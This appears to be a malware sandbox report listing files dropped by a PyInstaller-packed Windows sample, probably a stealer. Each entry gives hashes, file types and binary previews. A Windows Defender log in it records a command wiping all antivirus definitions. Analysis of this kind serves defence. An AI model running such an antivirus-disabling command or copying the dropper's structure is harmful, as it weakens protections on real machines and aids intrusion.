Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="562127" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllulbnolz:NllUc
MD5:	F23953D4A58E404FCB67ADD0C45EB27A
SHA1:	2D75B5CACF2916C66E440F19F6B3B21DFD289340
SHA-256:	16F994BFB26D529E4C28ED21C6EE36D4AFEAE01CEEB1601E85E0E7FDFF4EFA8B
SHA-512:	B90BFEC26910A590A367E8356A20F32A65DB41C6C62D79CA0DDCC8D95C14EB48138DEC6B992A6E5C7B35CFF643063012462DA3E747B2AA15721FE2ECCE02C044
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\DISCORD

Download File

Process:	C:\Users\user\AppData\Local\Temp\bound.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	103
Entropy (8bit):	4.081427527984575
Encrypted:	false
SSDEEP:	3:XSWHlkHFWKBgdvHvIhN9GIxFf9oQg652UTF/HLMl1m:XSWHlW0aivQLkWFfx/52uyPm
MD5:	B016DAFCA051F817C6BA098C096CB450
SHA1:	4CC74827C4B2ED534613C7764E6121CEB041B459
SHA-256:	B03C8C2D2429E9DBC7920113DEDF6FC09095AB39421EE0CC8819AD412E5D67B9
SHA-512:	D69663E1E81EC33654B87F2DFADDD5383681C8EBF029A559B201D65EB12FA2989FA66C25FA98D58066EAB7B897F0EEF6B7A68FA1A9558482A17DFED7B6076ACA
Malicious:	false
Preview:	{. "args" : {. "code" : "8PgspRYAQu". },. "cmd" : "INVITE_BROWSER",. "nonce" : ".". }

C:\Users\user\AppData\Local\Temp\MpCmdRun.log

Download File

Process:	C:\Program Files\Windows Defender\MpCmdRun.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	modified
Size (bytes):	894
Entropy (8bit):	3.1235837540248492
Encrypted:	false
SSDEEP:	12:Q58KRBubdpkoPAGdjrZN6Ak9+MlWlLehW51IC4N6p:QOaqdmOFdjrz6j+kWResLIL6p
MD5:	6477E6189F8624379D00ABE46DD01C6C
SHA1:	BA5353383C87FF524A141A8F97702E64FAC39141
SHA-256:	A54CC47BDC0BF41CD3BEE282589935CF903A91023C144AD117A3F35FEC5C7157
SHA-512:	FD03326C68807D69EFB6FC692F911599025F2F67E7462DC36567F3123A19BE8D2E93FC2CBA94C4081247F1019FA4EED1FE0902618F11BE38AB2D61563CF9BC14
Malicious:	false
Preview:	..........-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.....M.p.C.m.d.R.u.n.:. .C.o.m.m.a.n.d. .L.i.n.e.:. .".C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.M.p.C.m.d.R.u.n...e.x.e.". . .-.R.e.m.o.v.e.D.e.f.i.n.i.t.i.o.n.s. .-.A.l.l..... .S.t.a.r.t. .T.i.m.e.:. .. S.u.n. .. O.c.t. .. 2.7. .. 2.0.2.4. .1.3.:.4.4.:.3.9.........M.p.E.n.s.u.r.e.P.r.o.c.e.s.s.M.i.t.i.g.a.t.i.o.n.P.o.l.i.c.y.:. .h.r. .=. .0.x.1.....S.t.a.r.t.:. .M.p.R.e.m.o.v.e.D.e.f.i.n.i.t.i.o.n.s.(.1.).....M.p.C.m.d.R.u.n.:. .E.n.d. .T.i.m.e.:. .. S.u.n. .. O.c.t. .. 2.7. .. 2.0.2.4. .1.3.:.4.4.:.3.9.....-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.....

C:\Users\user\AppData\Local\Temp\_MEI76122\VCRUNTIME140.dll

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	120400
Entropy (8bit):	6.6017475353076716
Encrypted:	false
SSDEEP:	1536:N9TXF5LLXQLlNycKW+D4SdqJk6aN1ACuyxLiyazYaCVoecbdhgOwAd+zfZ1zu:N9jelDoD9uyxLizzFzecbdPwA87S
MD5:	862F820C3251E4CA6FC0AC00E4092239
SHA1:	EF96D84B253041B090C243594F90938E9A487A9A
SHA-256:	36585912E5EAF83BA9FEA0631534F690CCDC2D7BA91537166FE53E56C221E153
SHA-512:	2F8A0F11BCCC3A8CB99637DEEDA0158240DF0885A230F38BB7F21257C659F05646C6B61E993F87E0877F6BA06B347DDD1FC45D5C44BC4E309EF75ED882B82E4E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: 5K9iuU0ALY.exe, Detection: malicious, Browse Filename: grA6aqodO5.exe, Detection: malicious, Browse Filename: cPl7CoJTBx.exe, Detection: malicious, Browse Filename: R6IuO0fzec.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win64.Malware-gen.11853.10965.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Gen.Variant.Lazy.564550.16803.23255.exe, Detection: malicious, Browse Filename: H2f8SkAvdV.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......\=..\...\...\..S$...\...$...\...\..5\...\...\.....\.....\.....\.....\......\.....\..Rich.\..........PE..d.....x.........." ...).$...d............................................................`A........................................0u..4...d}..........................PP...........^..p............................\..@............@...............................text............................... ..`fothk........0...................... ..`.rdata...C...@...D...(..............@..@.data................l..............@....pdata...............p..............@..@_RDATA...............\|..............@..@.rsrc................~..............@..@.reloc..............................@..B................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI76122\_bz2.pyd

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	49424
Entropy (8bit):	7.815740675307968
Encrypted:	false
SSDEEP:	768:esvzuaVl+ztlrpqKgHrzwTzjT+KyH9qtztKnb3/+u2xmFepwUIJLV1/DU5YiSyvX:huaugLzUz+lOsnb33lUIJLV1i7SyFB
MD5:	58FC4C56F7F400DE210E98CCB8FDC4B2
SHA1:	12CB7EC39F3AF0947000295F4B50CBD6E7436554
SHA-256:	DFC195EBB59DC5E365EFD3853D72897B8838497E15C0977B6EDB1EB347F13150
SHA-512:	AD0C6A9A5CA719D244117984A06CCE8E59ED122855E4595DF242DF18509752429389C3A44A8BA0ABC817D61E37F64638CCBDFFC17238D4C38D2364F0A10E6BC7
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: 5K9iuU0ALY.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......e...!m..!m..!m..(.o.+m..1...#m..1..."m..1...%m..1...)m..1...,m..i..."m..j...#m..!m..\|m..i...)m..i... m..i... m..i... m..Rich!m..........PE..d.....g.........." ...).............d....................................................`.............................................H.................... .. ...................................................p..@...........................................UPX0....................................UPX1................................@....rsrc...............................@......................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI76122\_ctypes.pyd

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	64272
Entropy (8bit):	7.834005148796091
Encrypted:	false
SSDEEP:	1536:Opx/sXWpBktLQ+ndnJZLIDdwXtRg1zk1+3XTkIJyPeB7SyFmhz:OXsXWpBgLBndJSdIgpk1+3XwIJyPeBrm
MD5:	79879C679A12FAC03F472463BB8CEFF7
SHA1:	B530763123BD2C537313E5E41477B0ADC0DF3099
SHA-256:	8D1A21192112E13913CB77708C105034C5F251D64517017975AF8E0C4999EBA3
SHA-512:	CA19DDAEFC9AB7C868DD82008A79EA457ACD71722FEC21C2371D51DCFDB99738E79EFF9B1913A306DBEDACB0540CA84A2EC31DC2267C7B559B6A98B390C5F3A7
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........h~..............q...............................................q.......q......!u.............................................Rich....................PE..d.....g.........." ...).............J.......................................p............`.........................................Hl.......i.......`.......................l.......................................V..@...........................................UPX0....................................UPX1................................@....rsrc........`......................@......................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI76122\_decimal.pyd

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	120080
Entropy (8bit):	7.901857200989369
Encrypted:	false
SSDEEP:	3072:DXHhVKXEI3D7AboLmJ2g+3FAZ9raGHT2PIJvqMkPp5:DX3gEcD/Ksg+3JGHC0kb
MD5:	21D27C95493C701DFF0206FF5F03941D
SHA1:	F1F124D4B0E3092D28BA4EA4FE8CF601D5BD8600
SHA-256:	38EC7A3C2F368FFEB94524D7C66250C0D2DAFE58121E93E54B17C114058EA877
SHA-512:	A5FBDA904024CD097A86D6926E0D593B0F7E69E32DF347A49677818C2F4CD7DC83E2BAB7C2507428328248BD2F54B00F7B2A077C8A0AAD2224071F8221CB9457
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........j2U..\...\...\..s....\..]...\.._...\..X...\..Y...\...]...\..s]...\...].z.\..._...\...Q...\...\...\.......\...^...\.Rich..\.........................PE..d......g.........." ...).....0...... .....................................................`.....................................................................t+..........\....................................... ...@...........................................UPX0....................................UPX1.............~..................@....rsrc....0.......$..................@......................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI76122\_hashlib.pyd

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	36112
Entropy (8bit):	7.6548425105220375
Encrypted:	false
SSDEEP:	768:yzzaDWoin9vvSwNbHyxBpnrIJvIoS5YiSyvE62Em:yzOW6wNbHCrIJvIoQ7Syc6c
MD5:	D6F123C4453230743ADCC06211236BC0
SHA1:	9F9ADE18AC3E12BCC09757A3C4B5EE74CF5E794E
SHA-256:	7A904FA6618157C34E24AAAC33FDF84035215D82C08EEC6983C165A49D785DC9
SHA-512:	F5575D18A51207B4E9DF5BB95277D4D03E3BB950C0E7B6C3DD2288645E26E1DE8EDCF634311C21A6BDC8C3378A71B531F840B8262DB708726D36D15CB6D02441
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........W.A.6...6...6...N%..6.......6.......6.......6.......6.......6...N...6.......6...6..26.......6.......6....I..6.......6..Rich.6..........PE..d......g.........." ...).P..........@........................................@............`.........................................\|;..P....9.......0.......................;......................................@+..@...........................................UPX0....................................UPX1.....P.......N..................@....rsrc........0.......R..............@......................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI76122\_lzma.pyd

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	88336
Entropy (8bit):	7.9108932581373015
Encrypted:	false
SSDEEP:	1536:wlkdTJ3vEbPVfwGX+zD2z4qVHCy4N491I4lSi5j68Xi4az2yhIJ01uv7SyXN:wUFvEbdfwGOnqpCb491IK/EIJ01uvj
MD5:	055EB9D91C42BB228A72BF5B7B77C0C8
SHA1:	5659B4A819455CF024755A493DB0952E1979A9CF
SHA-256:	DE342275A648207BEF9B9662C9829AF222B160975AD8925CC5612CD0F182414E
SHA-512:	C5CBA050F4B805A299F5D04EC0DCE9B718A16BC335CAC17F23E96519DA0B9EAAF25AE0E9B29EF3DC56603BFE8317CDC1A67EE6464D84A562CF04BEA52C31CFAC
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........7...V.,.V.,.V.,...,.V.,..-.V.,..-.V.,..-.V.,..-.V.,..-.V.,...-.V.,.V.,.V.,..-.V.,..-.V.,..u,.V.,..-.V.,Rich.V.,................PE..d......g.........." ...). .......p........................................................`.........................................4...L....................0..........................................................@...........................................UPX0.....p..............................UPX1..... ..........................@....rsrc...............................@......................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI76122\_queue.pyd

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	27408
Entropy (8bit):	7.449801379195215
Encrypted:	false
SSDEEP:	384:he8SQ/XAVUI1ZCXG5oZa7gJX28IJ9U4NVTHQIYiSy1pCQ5xX1rSJIVE8E9VF0Nyf:he8XPAVhZwvpm8IJ9U4X5YiSyvTo2Et
MD5:	513DCE65C09B3ABC516687F99A6971D8
SHA1:	8F744C6F79A23AA380D9E6289CB4504B0E69FE3B
SHA-256:	D4BE41574C3E17792A25793E6F5BF171BAEEB4255C08CB6A5CD7705A91E896FC
SHA-512:	621F9670541CAC5684892EC92378C46FF5E1A3D065D2E081D27277F1E83D6C60510C46CAB333C6ED0FF81A25A1BDC0046C7001D14B3F885E25019F9CDD550ED0
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........T...........-.........................................................................A...........Rich...................PE..d.....g.........." ...).0..........@.....................................................`.............................................L.......P............`..l...........<.......................................@...@...........................................UPX0....................................UPX1.....0.......,..................@....rsrc................0..............@......................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI76122\_socket.pyd

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	45328
Entropy (8bit):	7.729647917060796
Encrypted:	false
SSDEEP:	768:BVO07RbhED2LEIuo4OCYkbaEts+ZIQivK+F8kp9jHIJywFmk5YiSyv+2Eb:zPkD2LEIuo4E5C30d1jHIJywFmu7Sy21
MD5:	14392D71DFE6D6BDC3EBCDBDE3C4049C
SHA1:	622479981E1BBC7DD13C1A852AE6B2B2AEBEA4D7
SHA-256:	A1E39E2386634069070903E2D9C2B51A42CB0D59C20B7BE50EF95C89C268DEB2
SHA-512:	0F6359F0ADC99EFAD5A9833F2148B066B2C4BAF564BA16090E04E2B4E3A380D6AFF4C9E7AEAA2BA247F020F7BD97635FCDFE4E3B11A31C9C6EA64A4142333424
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............ll}.ll}.ll}...}.ll}..m\|.ll}..o\|.ll}..h\|.ll}..i\|.ll}..m\|.ll}.lm}.ll}..m\|.ll}..a\|.ll}..l\|.ll}..}.ll}..n\|.ll}Rich.ll}........PE..d.....g.........." ...).p...........q....................................................`.........................................D...P....................0.......................................................}..@...........................................UPX0....................................UPX1.....p.......p..................@....rsrc................t..............@..............................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI76122\_sqlite3.pyd

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	60176
Entropy (8bit):	7.847943448203495
Encrypted:	false
SSDEEP:	1536:HqbxjT8JFLTgRG/dv8xxEOKI+C6IJvQl67SydP:KbFT8JZg+8xBd+XIJvQl6L
MD5:	8CD40257514A16060D5D882788855B55
SHA1:	1FD1ED3E84869897A1FAD9770FAF1058AB17CCB9
SHA-256:	7D53DF36EE9DA2DF36C2676CFAEA84EE87E7E2A15AD8123F6ABB48717C3BC891
SHA-512:	A700C3CE95CE1B3FD65A9F335C7C778643B2F7140920FE7EBF5D9BE1089BA04D6C298BF28427CA774FBF412D7F9B77F45708A8A0729437F136232E72D6231C34
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........V...7.7.7.Oc..7...7.....7...7.....7.....7...7..O.7.7.6.....7...7.....7...7.Rich.7.........................PE..d......g.........." ...)............p-.......................................P............`..........................................K..P....I.......@.......................K......................................p9..@...........................................UPX0....................................UPX1................................@....rsrc........@......................@......................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI76122\_ssl.pyd

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	68368
Entropy (8bit):	7.86108869046165
Encrypted:	false
SSDEEP:	1536:knDFWlIqOuazwp1eBNcnYTpXZwWVfTwIJL7O497Sy5ArQ:+5MtOu89KYTXwEEIJL7OKjAQ
MD5:	7EF27CD65635DFBA6076771B46C1B99F
SHA1:	14CB35CE2898ED4E871703E3B882A057242C5D05
SHA-256:	6EF0EF892DC9AD68874E2743AF7985590BB071E8AFE3BBF8E716F3F4B10F19B4
SHA-512:	AC64A19D610448BADFD784A55F3129D138E3B697CF2163D5EA5910D06A86D0EA48727485D97EDBA3C395407E2CCF8868E45DD6D69533405B606E5D9B41BAADC0
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......FM.^.,k..,k..,k..T...,k...j..,k...h..,k...o..,k...n..,k.J.j..,k...j..,k..,j..-k.ITj..,k.J.f..,k.J.k..,k.J....,k.J.i..,k.Rich.,k.................PE..d......g.........." ...).........P.......`...................................@............`.........................................l<..d....9.......0.......................<.......................................(..@...........................................UPX0.....P..............................UPX1.........`......................@....rsrc........0......................@..............................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI76122\base_library.zip

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1394456
Entropy (8bit):	5.531698507573688
Encrypted:	false
SSDEEP:	12288:IW7WpLV6yNLeGQbVz3YQfiBgDPtLwjFx278e6ZQnHS91lqyL+DXUgnxOr+dx5/GO:B7WpLtHa9BHSHAW+dx5/GP05vddD
MD5:	A9CBD0455B46C7D14194D1F18CA8719E
SHA1:	E1B0C30BCCD9583949C247854F617AC8A14CBAC7
SHA-256:	DF6C19637D239BFEDC8CD13D20E0938C65E8FDF340622FF334DB533F2D30FA19
SHA-512:	B92468E71490A8800E51410DF7068DD8099E78C79A95666ECF274A9E9206359F049490B8F60B96081FAFD872EC717E67020364BCFA972F26F0D77A959637E528
Malicious:	false
Preview:	PK..........!..b.e............_collections_abc.pyc......................................\.....S.r.S.S.K.J.r.J.r. .S.S.K.r.\.".\.\.....5.......r.\.".S.5.......r.S...r.\.".\.5.......r.C./.S.Q.r.S.r.\.".\.".S.5.......5.......r.\.".\.".\.".5.......5.......5.......r.\.".\.".0.R%..................5.......5.......5.......r.\.".\.".0.R)..................5.......5.......5.......r.\.".\.".0.R-..................5.......5.......5.......r.\.".\."./.5.......5.......r.\.".\.".\."./.5.......5.......5.......r.\.".\.".\.".S.5.......5.......5.......r.\.".\.".\.".S.S.-...5.......5.......5.......r.\.".\.".\.".5.......5.......5.......r.\.".\.".S.5.......5.......r \.".\.".S.5.......5.......r!\.".\.".\"".5.......5.......5.......r#\.".0.R%..................5.......5.......r$\.".0.R)..................5.......5.......r%\.".0.R-..................5.......5.......r&\.".\.RN..................5.......r(S...r)\)".5.......r*C)\.".S...".5.......5.......r+S...r,\,".5.......r,\.".\,5.......r-\,R]..................5.......

C:\Users\user\AppData\Local\Temp\_MEI76122\blank.aes

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	116152
Entropy (8bit):	7.710598542399932
Encrypted:	false
SSDEEP:	1536:T92W3Q3S9sPAG8pRHaymy/8/u+BeLJS3zeBV5+ilKP4zQMPDMaR9vRgXIVqZjDlv:u5Ixbb/8/De1Su+hPM9Pzu4VMe5nW
MD5:	72A26F137C9B188C5E6BB736A4F3F44B
SHA1:	E30621CBF3C96819D8A9CE377E5DBBCD28F91196
SHA-256:	0DACCFB042D394E0D7DB3C6CE5FFBED6C4DF9BED3E3F29AD39366AD31C83838B
SHA-512:	3FAF2BBBD90A50C0A70323AA866B5ED37D5775B551F76C8F1E479EAF02C6BF2B117E4AD86C6E274576ABD2645EBB71F80A79E5F3960EAEBEA11C029C5791453F
Malicious:	false
Preview:	PK........ .ZY.X.B...B.......stub-o.pyc........l-.g.#.............................\.".\.".\.".\."./.S.Q.5.......R...................5.......5.......\."./.S.Q.5.......R...................5.......5.......".\."./.S.Q.5.......5.......R...................5.......5.......r.\.".\.".\.".\."./.S.Q.5.......R...................5.......5.......\."./.S.Q.5.......R...................5.......5.......".\."./.S.Q.5.......5.......R...................5.......5.......r.\.".\.".\.".\."./.S.Q.5.......R...................5.......5.......\."./.S.Q.5.......R...................5.......5.......".\."./.S.Q.5.......5.......R...................5.......5.......r.\.".\.".\.".\."./.S.Q.5.......R...................5.......5.......\."./.S.Q.5.......R...................5.......5.......".\."./.S.Q.5.......5.......R...................5.......5.......r.S...r.S.r.\.".\.".\.".\.".\."./.S.Q.5.......R...................5.......5.......\."./.S.Q.5.......R...................5.......5.......".\."./.S.Q.5.......5.......R.........

C:\Users\user\AppData\Local\Temp\_MEI76122\bound.blank

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe
File Type:	DOS executable (COM)
Category:	dropped
Size (bytes):	284296
Entropy (8bit):	7.995427844782166
Encrypted:	true
SSDEEP:	6144:BzMD1RW7EqTsIiYHxEyEIwQxys5BaVKb+mEQ3XdUzKvRnHqnVG:RIReEcZ8UyKbEQ3XdvRnIs
MD5:	7ACDDDB95612D1E0C2E806A9CA72432F
SHA1:	BA7EDE3271E1D5CC0E807603D9284C26CEF1B80B
SHA-256:	DCCF165E44C7B2584CE3418A85D8D571AFB9CC6DB6C9280B7C90DCF8BAEEF7EA
SHA-512:	6C81E99851405E2B1B639EA7EF51FD1DA84D9D50F95579F7D8C4442EC5566F79B99C0DE594E5823687DB582F47A38C6C71B8B15DE04BDE4CEFC630EBF5E09CBB
Malicious:	false
Preview:	.W.q....?.....O....3..6{....j.dT.fLwr....u+U-.....R..g.?.uzx.......X}/........w....=..pw.R\|.x..?...{M.e...6..SsT$9..{....9h.{..h\|..........a.g.6...9Y0...4m......U'g7v..s........L.9(.....}.-.z.!..}...JCn..........8.t...p..Cn.\`.f./..J....=]...=A.`s..Je\|.`h;...=...@x\|........va/........!.M...r...#...nLz......2.<. ..c.....`.D>.._8E..K+,...h.....GBy..uE.{.YS.e....K...J....=......f.....&....?.-.'.Q........i...$D.ILe<..>4.\|............C;t..w3v^....q..x..h...'..\...m7m.....Sw...[(~.z..3hu.22S...o+.v..Ozd..M.50\|Ch...'..Q...P....tF..h..H3/M.....M}<.37L.cW_.....5...<....Ik.7?_^...ai..kL...1.............}..?.C........o;........e.....y.................._...K=...}....;.u.=..4...._...7..~.7...........GM.4..S.&}.h..F=.z.....A..?h..;.&..D6.^.P.E.P.`.......3...&.nW.B..g.r.:..\..q\|z.i....-..^}S<...<.=.K..R..;....S.&g.Q.r3..fb..W_.e9y...n...z..@\).d.:>........z.._...QO...R.-..*.{=..YvUn%.9.&..>/9vf}C>.?....A.[....M.:..z..X^..Qg...f.W_./..P~....

C:\Users\user\AppData\Local\Temp\_MEI76122\libcrypto-3.dll

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1630488
Entropy (8bit):	7.952879310777133
Encrypted:	false
SSDEEP:	49152:f3Y7UGnm3dtF6Q5xkI61CPwDvt3uFlDCm:/Y7Bm3dz6Q5c1CPwDvt3uFlDCm
MD5:	8377FE5949527DD7BE7B827CB1FFD324
SHA1:	AA483A875CB06A86A371829372980D772FDA2BF9
SHA-256:	88E8AA1C816E9F03A3B589C7028319EF456F72ADB86C9DDCA346258B6B30402D
SHA-512:	C59D0CBE8A1C64F2C18B5E2B1F49705D079A2259378A1F95F7A368415A2DC3116E0C3C731E9ABFA626D12C02B9E0D72C98C1F91A359F5486133478144FA7F5F7
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........._~.._~.._~..V.S.M~.....]~.....[~.....W~.....S~.._~...~......T~..J....~..J...7}..J...^~..J.?.^~..J...^~..Rich_~..........................PE..d......f.........." ...(. .......p:.`.P...:..................................0S...........`......................................... .P......P.h.....P...... L. .............S..................................... .P.@...........................................UPX0.....p:.............................UPX1..... ....:.....................@....rsrc.........P......"..............@..............................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI76122\libffi-8.dll

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	29968
Entropy (8bit):	7.677818197322094
Encrypted:	false
SSDEEP:	768:3p/6aepjG56w24Up3p45YiSyvkIPxWEqG:tA154spK7SytPxF
MD5:	08B000C3D990BC018FCB91A1E175E06E
SHA1:	BD0CE09BB3414D11C91316113C2BECFFF0862D0D
SHA-256:	135C772B42BA6353757A4D076CE03DBF792456143B42D25A62066DA46144FECE
SHA-512:	8820D297AEDA5A5EBE1306E7664F7A95421751DB60D71DC20DA251BCDFDC73F3FD0B22546BD62E62D7AA44DFE702E4032FE78802FB16EE6C2583D65ABC891CBF
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........iV...8...8...8..p....8.t9...8.p9...8...9...8.t=...8.t<...8.t;...8.1t<...8.1t;...8.1t8...8.1t:...8.Rich..8.........................PE..d...Sh.c.........." ...".@................................................................`.....................................................................P.......................................................@...........................................UPX0....................................UPX1.....@.......<..................@...UPX2.................@..............@......................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI76122\libssl-3.dll

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	227096
Entropy (8bit):	7.928768674438361
Encrypted:	false
SSDEEP:	6144:PpEswYxCQyTp2Z/3YUtoQe5efEw+OXDbM3nFLQdFM4mNJQ:PpAqo92h3Y660Ew+OTbAFLQd2lw
MD5:	B2E766F5CF6F9D4DCBE8537BC5BDED2F
SHA1:	331269521CE1AB76799E69E9AE1C3B565A838574
SHA-256:	3CC6828E7047C6A7EFF517AA434403EA42128C8595BF44126765B38200B87CE4
SHA-512:	5233C8230497AADB9393C3EE5049E4AB99766A68F82091FE32393EE980887EBD4503BF88847C462C40C3FC786F8D179DAC5CB343B980944ADE43BC6646F5AD5A
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
